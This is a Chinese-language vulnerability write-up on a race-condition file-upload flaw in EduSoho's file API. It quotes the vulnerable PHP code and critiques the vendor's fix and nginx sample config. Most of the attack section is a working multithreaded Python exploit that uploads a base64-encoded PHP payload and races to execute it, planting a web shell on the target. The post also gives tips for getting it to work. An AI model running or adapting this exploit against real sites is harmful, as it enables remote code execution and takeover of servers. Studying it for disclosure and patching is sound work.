代码逻辑

src/ApiBundle/Api/Resource/File/File.php:10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class File extends AbstractResource
{
public function add(ApiRequest $request)
{
$file = $request->request->get('file', null);
$file = $this->fileDecode($file); //文件写入
if (empty($file)) {
$file = $request->getHttpRequest()->files->get('file', null);
}

if (empty($file)) {
throw FileException::FILE_NOT_UPLOAD();
}

$group = $request->request->get('group', null);
if (!in_array($group, array('tmp', 'user', 'course', 'system'))) {
throw FileException::FILE_GROUP_INVALID();
}
//检测文件后缀合法性,删除操作
return $this->getFileService()->uploadFile($group, $file);
}

protected function fileDecode($str)
{
if (empty($str)) {
return $str;
}
// data:{mimeType};base64,{code}
$user = $this->getCurrentUser();
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $str, $result)) {
$filePath = $this->biz['topxia.upload.public_directory'].'/tmp/'.$user['id'].'_'.time().'.'.$result[2];
file_put_contents($filePath, base64_decode(str_replace($result[1], '', $str)));

return new FileObject($filePath);
}

return null;
}

可以看到函数fileDecode是文件写入操作,然而在进入后缀检测代码之前,有两个抛错语句

这里就存在一种逻辑问题,如果前面的代码抛错使php退出,就不会执行后面的删除操作了,shell文件会驻留在

第一个抛错是当$file为空时,很显然无法利用

第二个抛错是当$group不在白名单中,传入group=xxx即可令php报错退出

条件竞争

在我提交该漏洞一年后,我再次看了下官方的修复

官方将对$group值判断的代码提前了,盯着代码看了好几遍,才发现我一直忽视了这里真正导致漏洞的原因

这里的代码最不应该的是,将判断后缀的代码,放在文件写入后面

也就是说存在条件竞争漏洞,在php脚本删除之前仍然有机会请求到php脚本,执行代码

测试

首先需要判断目标/files/tmp/下的php脚本可访问,然后注册账号后获取uid

用多线程脚本疯狂请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from threading import Thread
import requests
from base64 import b64encode
from time import time


target = 'http://xxx.xxx.com'
account = b'test123:test123'
uid = 314

def upload():
url = target + '/api/file'
headers = {
'Accept': 'application/vnd.edusoho.v2+json',
'Authorization': 'Basic ' + b64encode(account).decode('utf-8'),
}

shell = b'<?php file_put_contents("shell.php", "<?php var_dump(md5(666));?>");?>'
base64shell = b64encode(shell).decode('utf-8')
data = {
'group': 'tmp',
'file': 'data:image/php;base64,' + base64shell,
}

while 1:
try:
requests.post(url, data=data, headers=headers)
except KeyboardInterrupt:
return
except:
pass


def request():
while 1:
try:
url = target + '/files/tmp/{}_{}.php'.format(uid, int(time()))
resp = requests.get(url)
if resp.status_code == 200:
print(target + '/files/tmp/shell.php')
return
except KeyboardInterrupt:
return
except:
pass


if __name__ == '__main__':
up = Thread(target=upload)
threads = []
for i in range(20):
th = Thread(target=request)
threads.append(th)

up.start()
for th in threads:
th.start()

for th in threads:
th.join()

注意点

  1. Linux下的base64命令编码后,然后php解码,发现帐号密码被添加了一个\n,导致利用的时候,一直报密码错误,mmp
  2. 没读官方文档,不知道官方给了个配置文件示例,提醒站长禁止files目录下php脚本的执行,漏洞危害降低

后话

  1. echo添加的\n,正确用法echo -n 'xxx' | base64
  2. 现在发现官方的nginx配置文件示例,有严重问题(还好又提醒站长仅适用与开发环境),欣赏一下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
        location ~ \.php$ {
    # [改] 请根据实际php-fpm运行的方式修改
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_split_path_info ^(.+\.php)(/.*)$;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param HTTP_PROXY "";
    }
    # 省略部分配置

    # 禁止用户上传目录下所有.php文件的访问,提高安全性
    location ~ ^/files/.*\.(php|php5)$ {
    deny all;
    }
    }